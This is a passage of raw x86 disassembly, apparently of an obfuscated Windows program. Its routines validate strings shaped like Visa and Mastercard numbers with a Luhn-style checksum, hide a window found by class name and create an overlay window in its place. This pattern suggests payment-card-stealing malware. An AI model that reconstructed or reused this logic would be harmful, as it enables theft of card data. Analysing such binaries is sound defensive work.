		mov	edx, [ebp+var_C]
		and	edx, 0Fh
		mov	ecx, dword_44D0DC
		add	ecx, 4
		mov	eax, edx
		shl	eax, cl
		mov	[ebp+var_1C], eax
		mov	edx, esi
		and	edx, 3Ch
		mov	ecx, dword_44D1E4
		inc	ecx
		mov	eax, edx
		sar	eax, cl
		mov	edx, [ebp+var_1C]
		or	edx, eax
		mov	[ebp+var_D], dl
		mov	eax, ebx
		inc	ebx
		mov	dl, [ebp+var_D]
		mov	[eax], dl
		inc	[ebp+var_8]
		jmp	short loc_43B863
; ---------------------------------------------------------------------------


loc_43B830:				; CODE XREF: sub_43B73E+67j
					; DATA XREF: .data:0044D790o
		mov	edx, [ebp+var_C]
		and	edx, 3
		mov	ecx, dword_44D218
		add	ecx, dword_44D1B0
		sub	ecx, 0Ah
		mov	eax, edx
		shl	eax, cl
		mov	edx, eax
		or	edx, esi
		mov	[ebp+var_D], dl
		mov	eax, ebx
		inc	ebx
		mov	dl, [ebp+var_D]
		mov	[eax], dl
		mov	eax, dword_44D124
		sub	eax, 2
		mov	[ebp+var_8], eax


loc_43B863:				; CODE XREF: sub_43B73E+58j
					; sub_43B73E+61j ...
		mov	[ebp+var_C], esi


loc_43B866:				; CODE XREF: sub_43B73E+4Dj
		inc	edi


loc_43B867:				; CODE XREF: sub_43B73E+2Fj
		cmp	byte ptr [edi],	0
		jz	short loc_43B875
		cmp	ebx, [ebp+var_4]
		jb	loc_43B772


loc_43B875:				; CODE XREF: sub_43B73E+12Cj
		cmp	byte ptr [edi],	0
		jnz	short loc_43B881
		mov	eax, ebx
		sub	eax, [ebp+arg_4]
		jmp	short loc_43B891
; ---------------------------------------------------------------------------


loc_43B881:				; CODE XREF: sub_43B73E+13Aj
		mov	eax, dword_44D0D0
		add	eax, dword_44D0D8
		sub	eax, 5
		neg	eax


loc_43B891:				; CODE XREF: sub_43B73E+141j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43B73E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B896	proc near		; CODE XREF: sub_43CEF8+ECp
					; sub_441138+CCp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		push	ebx
		call	ds:dword_446000	; lstrlenW
		mov	edi, eax
		push	0
		push	0
		mov	eax, dword_44D1D0
		add	eax, 1FFAh
		push	eax
		push	esi
		push	edi
		push	ebx
		movsx	eax, word_44D1DC
		sub	eax, 9
		push	eax
		push	0
		call	ds:dword_44600C	; WideCharToMultiByte
		mov	eax, dword_44D1CC
		add	eax, dword_44D134
		sub	eax, 5
		mov	[esi+edi], al
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_43B896	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_43B8E8	proc near		; DATA XREF: sub_43E040+161o

var_A		= byte ptr -0Ah
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	offset sub_43F05F
		push	dword ptr fs:0
		mov	fs:0, esp
		push	offset dword_44E77C
		call	sub_43AC82
		push	dword ptr [edi]
		push	eax
		lea	esi, [ebp+var_A]
		push	esi
		call	ds:dword_44C810
		add	esp, 10h


loc_43B91E:				; CODE XREF: sub_43B8E8+57j
		push	0
		push	dword ptr [edi]
		lea	eax, [ebp+var_A]
		push	eax
		call	sub_43D16C
		movsx	eax, word_44D23C
		sub	eax, 5
		push	eax
		call	ds:dword_44C80C
		add	esp, 10h
		jmp	short loc_43B91E
sub_43B8E8	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B947	proc near		; CODE XREF: sub_43A39F+2E9p

var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= word ptr -38h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_44D22C
		sub	eax, 4
		mov	[ebp+var_4], eax
		jmp	short loc_43B973
; ---------------------------------------------------------------------------


loc_43B95D:				; CODE XREF: sub_43B947+40j
		mov	eax, 30h
		mul	[ebp+var_4]
		mov	[ebp+var_20], eax
		and	ds:dword_44A540[eax], 0
		inc	[ebp+var_4]


loc_43B973:				; CODE XREF: sub_43B947+14j
		movsx	eax, word_44D0B4
		mov	edx, dword_44D208
		lea	eax, [eax+edx+5Ah]
		cmp	[ebp+var_4], eax
		jb	short loc_43B95D
		push	0
		call	ds:dword_449084
		push	offset dword_44D360
		push	offset dword_44ECB4
		push	7
		push	0
		push	offset dword_44EBE4
		call	ds:dword_4495D4
		mov	ebx, eax
		mov	eax, dword_44D1E8
		movsx	edx, word_44D12C
		add	eax, edx
		sub	eax, 0Fh
		cmp	ebx, eax
		jnz	loc_43BB68
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, dword_44D360
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+1Ch]
		mov	ebx, eax
		mov	eax, dword_44D224
		movsx	edx, word_44D190
		add	eax, edx
		sub	eax, 0Ah
		cmp	ebx, eax
		jnz	short loc_43B9FA
		movsx	eax, word_44D0E4
		sub	eax, 2
		cmp	[ebp+var_C], eax
		jnz	short loc_43B9FF


loc_43B9FA:				; CODE XREF: sub_43B947+A2j
		jmp	loc_43BAFE
; ---------------------------------------------------------------------------


loc_43B9FF:				; CODE XREF: sub_43B947+B1j
		movsx	eax, word_44D144
		add	eax, dword_44D0D4
		sub	eax, 9
		mov	[ebp+var_8], eax
		jmp	loc_43BAF2
; ---------------------------------------------------------------------------


loc_43BA17:				; CODE XREF: sub_43B947+1B1j
		mov	[ebp+var_38], 3
		mov	eax, [ebp+var_8]
		mov	[ebp+var_30], eax
		lea	eax, [ebp+var_3C]
		push	eax
		lea	esi, [ebp+var_38]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, dword_44D360
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	eax, dword_44D188
		sub	eax, 9
		cmp	ebx, eax
		jnz	loc_43BAEF
		lea	eax, [ebp+var_40]
		push	eax
		push	offset dword_44ECD4
		mov	eax, [ebp+var_3C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_44D1B0
		sub	eax, 7
		cmp	ebx, eax
		jnz	short loc_43BAE6
		lea	eax, off_44D35C
		mov	[ebp+var_24], eax
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+4]
		lea	eax, [ebp+var_44]
		push	eax
		push	offset dword_44EC04
		mov	eax, [ebp+var_24]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_44D1EC
		add	eax, dword_44D168
		sub	eax, 0Fh
		cmp	ebx, eax
		jnz	short loc_43BAD4
		lea	eax, [ebp+var_48]
		push	eax
		push	offset dword_44EC04
		push	[ebp+var_44]
		push	[ebp+var_40]
		call	sub_444A27
		add	esp, 10h
		mov	[ebp+var_4C], eax
		mov	eax, [ebp+var_44]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43BAD4:				; CODE XREF: sub_43B947+168j
		mov	eax, [ebp+var_24]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, [ebp+var_40]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43BAE6:				; CODE XREF: sub_43B947+12Fj
		mov	eax, [ebp+var_3C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43BAEF:				; CODE XREF: sub_43B947+107j
		inc	[ebp+var_8]


loc_43BAF2:				; CODE XREF: sub_43B947+CBj
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_8], eax
		jb	loc_43BA17


loc_43BAFE:				; CODE XREF: sub_43B947:loc_43B9FAj
		lea	eax, off_44D380
		mov	[ebp+var_10], eax
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+4]
		lea	eax, [ebp+var_14]
		push	eax
		push	offset dword_44EBF4
		mov	eax, [ebp+var_10]
		push	eax
		mov	esi, [eax]
		call	dword ptr ds:0[esi]
		mov	eax, [ebp+var_10]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	offset dword_44EBF4
		push	[ebp+var_14]
		push	dword_44D360
		call	sub_444A27
		add	esp, 10h
		mov	[ebp+var_18], eax
		mov	ecx, dword_44D1B4
		sub	ecx, 4
		cmp	eax, ecx
		jnz	short loc_43BB68
		mov	eax, dword_44D360
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		and	dword_44D360, 0


loc_43BB68:				; CODE XREF: sub_43B947+78j
					; sub_43B947+20Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43B947	endp


; =============== S U B	R O U T	I N E =======================================



sub_43BB6D	proc near		; DATA XREF: sub_43F05F+7o
		mov	eax, dword_44D0C8
		dec	eax
		push	eax
		call	ds:dword_44C840	; ExitThread
		retn
sub_43BB6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43BB7B	proc near		; CODE XREF: sub_43BE21+46Dp
					; sub_43BE21+489p

var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_445950
		push	ebx
		push	esi
		push	edi
		push	5
		push	[ebp+arg_0]
		call	ds:dword_446004	; GetWindow
		mov	edi, eax


loc_43BB98:				; CODE XREF: sub_43BB7B+78j
		or	edi, edi
		jnz	short loc_43BBA0
		xor	eax, eax
		jmp	short loc_43BBF5
; ---------------------------------------------------------------------------


loc_43BBA0:				; CODE XREF: sub_43BB7B+1Fj
		push	0FFFh
		lea	eax, [ebp+var_FFF]
		push	eax
		push	edi
		call	ds:dword_447FC0	; GetClassNameA
		push	dword_44D1A4
		push	[ebp+arg_4]
		lea	eax, [ebp+var_FFF]
		push	eax
		call	sub_444D98
		add	esp, 0Ch
		movsx	esi, word_44D0F8
		movsx	ebx, word_44D160
		lea	esi, [esi+ebx+0FFF8h]
		cmp	eax, esi
		jz	short loc_43BBE8
		mov	eax, edi
		jmp	short loc_43BBF5
; ---------------------------------------------------------------------------


loc_43BBE8:				; CODE XREF: sub_43BB7B+67j
		push	2
		push	edi
		call	ds:dword_446004	; GetWindow
		mov	edi, eax
		jmp	short loc_43BB98
; ---------------------------------------------------------------------------


loc_43BBF5:				; CODE XREF: sub_43BB7B+23j
					; sub_43BB7B+6Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43BB7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_43BBFA	proc near		; DATA XREF: .data:0044D330o
		mov	eax, 80004001h
		retn	10h
sub_43BBFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43BC02	proc near		; CODE XREF: sub_43F19E+ABp
					; sub_442DF5+1C3p ...

var_EF38	= dword	ptr -0EF38h
var_EF34	= dword	ptr -0EF34h
var_EF30	= dword	ptr -0EF30h
var_EF2C	= byte ptr -0EF2Ch
var_EF2B	= byte ptr -0EF2Bh
var_EE2C	= dword	ptr -0EE2Ch
var_EE24	= byte ptr -0EE24h
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		mov	eax, 0EF38h
		call	sub_445950
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_44D0DC
		inc	edi
		add	edi, dword_44D214
		imul	edi, 3C0h
		mov	esi, dword_44D198
		add	esi, 0EA57h
		add	edi, esi
		shl	edi, 1
		mov	[ebp+var_EF38],	edi
		push	edi
		call	sub_4458D5
		add	esp, 4
		mov	[ebp+var_EE2C],	eax
		movzx	eax, [ebp+arg_0]
		movsx	edx, word_44D098
		sub	edx, 4
		cmp	eax, edx
		jnz	short loc_43BC7F
		push	offset byte_44E771
		call	sub_43AC82
		add	esp, 4
		push	eax
		lea	edi, [ebp+var_EE24]
		push	edi
		call	ds:dword_44C810
		add	esp, 8
		jmp	loc_43BD7F
; ---------------------------------------------------------------------------


loc_43BC7F:				; CODE XREF: sub_43BC02+58j
		call	ds:dword_44A1EC
		mov	ebx, eax
		mov	[ebp+var_EF2C],	bl
		movzx	eax, [ebp+arg_0]
		movsx	edx, word_44D190
		sub	edx, 3
		cmp	eax, edx
		jnz	short loc_43BCF7
		mov	eax, dword_44D170
		add	eax, dword_44D198
		sub	eax, 7
		and	eax, 0FFh
		push	eax
		lea	eax, [ebp+var_EF2B]
		push	eax
		push	[ebp+arg_8]
		call	sub_43B638
		add	esp, 0Ch
		push	offset byte_44E741
		call	sub_43AC82
		add	esp, 4
		movzx	edi, [ebp+var_EF2C]
		push	edi
		lea	edi, [ebp+var_EF2B]
		push	edi
		push	eax
		lea	edi, [ebp+var_EE24]
		push	edi
		call	ds:dword_44C810
		add	esp, 10h
		jmp	loc_43BD7F
; ---------------------------------------------------------------------------


loc_43BCF7:				; CODE XREF: sub_43BC02+9Bj
		mov	eax, dword_44D118
		sub	eax, 6
		and	eax, 0FFh
		push	eax
		lea	eax, [ebp+var_EF2B]
		push	eax
		push	dword_44D33C
		call	sub_43B638
		add	esp, 0Ch
		push	offset word_44E6DE
		call	sub_43AC82
		add	esp, 4
		mov	edi, [ebp+arg_18]
		mov	esi, [ebp+arg_8]
		mov	ebx, edi
		add	ebx, esi
		push	ebx
		mov	ebx, dword_44D1E4
		add	ebx, 4
		push	ebx
		push	[ebp+arg_1C]
		push	edi
		push	[ebp+arg_14]
		movzx	edi, [ebp+var_EF2C]
		push	edi
		mov	edi, esi
		sub	edi, [ebp+arg_C]
		mov	esi, dword_44D1B0
		sub	esi, 3
		sub	edi, esi
		push	edi
		push	offset dword_44A1F0
		push	[ebp+arg_10]
		push	[ebp+arg_20]
		lea	edi, [ebp+var_EF2B]
		push	edi
		push	eax
		lea	edi, [ebp+var_EE24]
		push	edi
		call	ds:dword_44C810
		add	esp, 34h


loc_43BD7F:				; CODE XREF: sub_43BC02+78j
					; sub_43BC02+F0j
		push	[ebp+var_EF38]
		push	[ebp+var_EE2C]
		mov	eax, dword_44D1B4
		movsx	edx, word_44D160
		add	eax, edx
		sub	eax, 9
		neg	eax
		push	eax
		lea	eax, [ebp+var_EE24]
		push	eax
		movsx	eax, word_44D220
		add	eax, dword_44D18C
		sub	eax, 8
		push	eax
		push	0
		call	ds:dword_44C81C	; MultiByteToWideChar
		push	offset dword_44E6C4
		call	sub_442CEF
		add	esp, 4
		push	eax
		call	ds:dword_446FF8
		mov	[ebp+var_EF30],	eax
		push	[ebp+var_EE2C]
		call	ds:dword_446FF8
		mov	[ebp+var_EF34],	eax
		push	eax
		push	[ebp+var_EF30]
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+104h]
		push	[ebp+var_EF34]
		call	ds:dword_44CD84
		push	[ebp+var_EF30]
		call	ds:dword_44CD84
		lea	esp, [ebp-0EF44h]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43BC02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43BE21	proc near		; CODE XREF: sub_441138+B5Fp

var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= dword	ptr -2E4h
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C6		= byte ptr -2C6h
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= dword	ptr -2BCh
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= dword	ptr -2B0h
var_2AC		= dword	ptr -2ACh
var_2A8		= dword	ptr -2A8h
var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_284		= dword	ptr -284h
var_280		= dword	ptr -280h
var_27C		= dword	ptr -27Ch
var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_253		= byte ptr -253h
var_23F		= byte ptr -23Fh
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_10D		= byte ptr -10Dh
var_109		= byte ptr -109h
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_102		= word ptr -102h
var_FF		= byte ptr -0FFh
var_FE		= byte ptr -0FEh
var_FA		= byte ptr -0FAh
var_F8		= byte ptr -0F8h
var_F5		= byte ptr -0F5h
var_F4		= byte ptr -0F4h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 324h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_4], 0
		jz	loc_43CE2F
		mov	eax, [ebp+arg_0]
		mov	al, [eax]
		cmp	al, 34h
		jz	short loc_43BE48
		cmp	al, 35h
		jnz	loc_43CE2F


loc_43BE48:				; CODE XREF: sub_43BE21+1Dj
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_43BE50:				; CODE XREF: sub_43BE21+34j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43BE50
		mov	[ebp+var_128], eax
		mov	edx, dword_44D0D8
		add	edx, 0Bh
		cmp	eax, edx
		jz	short loc_43BE7B
		mov	edx, dword_44D198
		add	edx, 0Ah
		cmp	eax, edx
		jnz	loc_43CE2F


loc_43BE7B:				; CODE XREF: sub_43BE21+47j
		mov	ebx, dword_44D1FC
		sub	ebx, 4
		jmp	short loc_43BEAA
; ---------------------------------------------------------------------------


loc_43BE86:				; CODE XREF: sub_43BE21+9Cj
		mov	eax, 30h
		mul	ebx
		mov	[ebp+var_260], eax
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+var_260]
		cmp	ds:dword_44A540[edx], eax
		jz	loc_43CE2F
		inc	ebx


loc_43BEAA:				; CODE XREF: sub_43BE21+63j
		mov	eax, dword_44D138
		add	eax, 5Eh
		movsx	edx, word_44D0A0
		add	eax, edx
		cmp	ebx, eax
		jb	short loc_43BE86
		mov	eax, dword_44D218
		add	eax, 0Ah
		cmp	[ebp+var_128], eax
		jnz	loc_43C0A2
		mov	eax, [ebp+arg_0]
		mov	al, [eax+4]
		cmp	al, 2Dh
		jz	short loc_43BEE5
		cmp	al, 20h
		jnz	loc_43CE2F


loc_43BEE5:				; CODE XREF: sub_43BE21+BAj
		mov	eax, [ebp+arg_0]
		mov	al, [eax+9]
		cmp	al, 2Dh
		jz	short loc_43BEF7
		cmp	al, 20h
		jnz	loc_43CE2F


loc_43BEF7:				; CODE XREF: sub_43BE21+CCj
		mov	eax, [ebp+arg_0]
		mov	al, [eax+0Eh]
		cmp	al, 2Dh
		jz	short loc_43BF09
		cmp	al, 20h
		jnz	loc_43CE2F


loc_43BF09:				; CODE XREF: sub_43BE21+DEj
		mov	eax, dword_44D1B4
		add	eax, dword_44D248
		mov	edx, [ebp+arg_0]
		mov	dl, [edx]
		mov	[ebp+eax+var_103], dl
		mov	eax, dword_44D168
		add	eax, dword_44D0EC
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+1]
		mov	[ebp+eax+var_10D], dl
		movsx	eax, word_44D1B8
		add	eax, dword_44D100
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+2]
		mov	[ebp+eax+var_109], dl
		movsx	eax, word_44D148
		mov	edx, dword_44D1A0
		lea	eax, [eax+edx+3]
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+3]
		mov	[ebp+eax+var_FF], dl
		mov	eax, dword_44D1BC
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+5]
		mov	[ebp+eax+var_FE], dl
		movsx	eax, word_44D1C0
		movsx	edx, word_44D180
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+6]
		mov	byte ptr [ebp+eax+var_108], dl
		movsx	eax, word_44D114
		add	eax, dword_44D1EC
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+7]
		mov	byte ptr [ebp+eax+var_108], dl
		mov	eax, dword_44D200
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+8]
		mov	[ebp+eax+var_FE], dl
		mov	eax, dword_44D0D0
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Ah]
		mov	[ebp+eax+var_F8], dl
		mov	eax, dword_44D1B0
		add	eax, dword_44D19C
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Bh]
		mov	byte ptr [ebp+eax+var_108+2], dl
		mov	eax, dword_44D0F0
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Ch]
		mov	[ebp+eax+var_F5], dl
		mov	eax, dword_44D170
		add	eax, 3
		add	eax, dword_44D1BC
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Dh]
		mov	[ebp+eax+var_FF], dl
		movsx	eax, word_44D0F4
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Fh]
		mov	[ebp+eax+var_FA], dl
		mov	eax, dword_44D0AC
		add	eax, 3
		add	eax, dword_44D170
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+10h]
		mov	[ebp+eax+var_FF], dl
		mov	eax, dword_44D1AC
		movsx	edx, word_44D114
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+11h]
		mov	[ebp+eax+var_FF], dl
		movsx	eax, word_44D0B4
		movsx	edx, word_44D160
		lea	eax, [eax+edx+5]
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+12h]
		mov	[ebp+eax+var_FF], dl
		mov	eax, dword_44D178
		mov	edx, dword_44D1D8
		sub	edx, 3
		mov	[ebp+eax+var_F4], dl
		jmp	short loc_43C0B1
; ---------------------------------------------------------------------------


loc_43C0A2:				; CODE XREF: sub_43BE21+ACj
		push	[ebp+arg_0]
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_445970


loc_43C0B1:				; CODE XREF: sub_43BE21+27Fj
		mov	esi, dword_44D1CC
		dec	esi
		jmp	short loc_43C0CF
; ---------------------------------------------------------------------------


loc_43C0BA:				; CODE XREF: sub_43BE21+2C1j
		mov	al, [ebp+esi+var_FF]
		cmp	al, 30h
		jl	short loc_43C0C9
		cmp	al, 39h
		jle	short loc_43C0CE


loc_43C0C9:				; CODE XREF: sub_43BE21+2A2j
		jmp	loc_43CE2F
; ---------------------------------------------------------------------------


loc_43C0CE:				; CODE XREF: sub_43BE21+2A6j
		inc	esi


loc_43C0CF:				; CODE XREF: sub_43BE21+297j
		movsx	eax, word_44D128
		mov	edx, dword_44D178
		lea	eax, [eax+edx+6]
		cmp	esi, eax
		jb	short loc_43C0BA
		movsx	eax, word_44D0F8
		movsx	edx, word_44D0B8
		add	eax, edx
		sub	eax, 0Ah
		mov	[ebp+var_108], eax
		mov	eax, dword_44D0FC
		movsx	edx, word_44D190
		mov	esi, eax
		add	esi, edx
		sub	esi, 0Ch
		jmp	short loc_43C153
; ---------------------------------------------------------------------------


loc_43C112:				; CODE XREF: sub_43BE21+342j
		movsx	eax, [ebp+esi+var_FF]
		sub	eax, 30h
		movsx	edx, word_44D0F8
		inc	edx
		imul	eax, edx
		add	[ebp+var_108], eax
		cmp	[ebp+esi+var_FF], 34h
		jle	short loc_43C149
		mov	eax, dword_44D238
		add	eax, dword_44D0DC
		sub	[ebp+var_108], eax


loc_43C149:				; CODE XREF: sub_43BE21+315j
		mov	eax, dword_44D1B4
		sub	eax, 2
		add	esi, eax


loc_43C153:				; CODE XREF: sub_43BE21+2EFj
		mov	eax, dword_44D1B0
		movsx	edx, word_44D0C4
		add	eax, edx
		cmp	esi, eax
		jb	short loc_43C112
		movsx	eax, word_44D1C0
		mov	ebx, eax
		add	ebx, dword_44D188
		sub	ebx, 11h
		jmp	short loc_43C19A
; ---------------------------------------------------------------------------


loc_43C179:				; CODE XREF: sub_43BE21+385j
		movsx	eax, [ebp+ebx+var_FF]
		sub	eax, 30h
		add	[ebp+var_108], eax
		mov	eax, dword_44D198
		add	eax, dword_44D170
		sub	eax, 0Ch
		add	ebx, eax


loc_43C19A:				; CODE XREF: sub_43BE21+356j
		movsx	eax, word_44D114
		add	eax, 7
		cmp	ebx, eax
		jb	short loc_43C179
		mov	eax, [ebp+var_108]
		mov	ecx, 0Ah
		xor	edx, edx
		div	ecx
		mov	edi, dword_44D1F4
		add	edi, dword_44D100
		sub	edi, 0Ah
		cmp	edx, edi
		jnz	loc_43CE2F
		lea	eax, [ebp+var_FF]
		push	eax
		call	ds:dword_44C954
		pop	ecx
		or	eax, eax
		jnz	loc_43CE2F
		movsx	esi, word_44D220
		sub	esi, 7
		movsx	esi, word_44D0C4
		sub	esi, 9
		jmp	short loc_43C212
; ---------------------------------------------------------------------------


loc_43C1FA:				; CODE XREF: sub_43BE21+401j
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_264], eax
		cmp	ds:dword_44A540[eax], 0
		jz	short loc_43C224
		inc	esi


loc_43C212:				; CODE XREF: sub_43BE21+3D7j
		mov	eax, dword_44D118
		add	eax, 5Ah
		add	eax, dword_44D104
		cmp	esi, eax
		jb	short loc_43C1FA


loc_43C224:				; CODE XREF: sub_43BE21+3EEj
		mov	eax, dword_44D188
		add	eax, 5Bh
		cmp	esi, eax
		jz	loc_43CE2F
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_268], eax
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+var_268]
		mov	ds:dword_44A540[edx], eax
		push	offset byte_44E6B1
		call	sub_43AC82
		pop	ecx
		push	0
		push	eax
		push	0
		push	[ebp+arg_4]
		call	ds:dword_44C814	; FindWindowExA
		mov	[ebp+var_134], eax
		test	eax, eax
		jnz	short loc_43C27D
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_134], eax


loc_43C27D:				; CODE XREF: sub_43BE21+451j
		push	offset dword_44E6A4
		call	sub_43AC82
		push	eax
		push	[ebp+var_134]
		call	sub_43BB7B
		mov	[ebp+var_12C], eax
		push	offset dword_44E698
		call	sub_43AC82
		push	eax
		push	[ebp+var_12C]
		call	sub_43BB7B
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_26C], eax
		mov	ebx, eax
		mov	ds:dword_44A544[ebx], edi
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_270], eax
		push	ds:dword_44A544[eax]
		call	ds:dword_44C838	; ShowWindow
		lea	eax, [ebp+var_11C]
		push	eax
		push	[ebp+var_12C]
		call	ds:dword_44C830	; GetWindowRect
		push	0
		call	ds:dword_449598	; GetModuleHandleA
		mov	[ebp-10Ch], eax
		push	offset word_44E68E
		call	sub_43AC82
		add	esp, 1Ch
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		push	[ebp+var_12C]
		mov	edi, [ebp-110h]
		sub	edi, [ebp+var_118]
		push	edi
		mov	edi, [ebp+var_114]
		sub	edi, [ebp+var_11C]
		push	edi
		mov	edi, dword_44D1AC
		add	edi, dword_44D0A4
		sub	edi, 0Eh
		push	edi
		mov	edi, dword_44D1D8
		sub	edi, 3
		push	edi
		push	50800000h
		lea	edi, [ebp+var_FF]
		push	edi
		push	eax
		push	200h
		call	ds:dword_44B820	; CreateWindowExA
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_274], eax
		mov	ebx, eax
		mov	ds:dword_44A548[ebx], edi
		mov	edi, dword_44D1B0
		mov	ebx, [ebp-110h]
		sub	ebx, [ebp+var_118]
		mov	edx, dword_44D218
		lea	edi, [edi+edx+0EAh]
		sub	ebx, edi
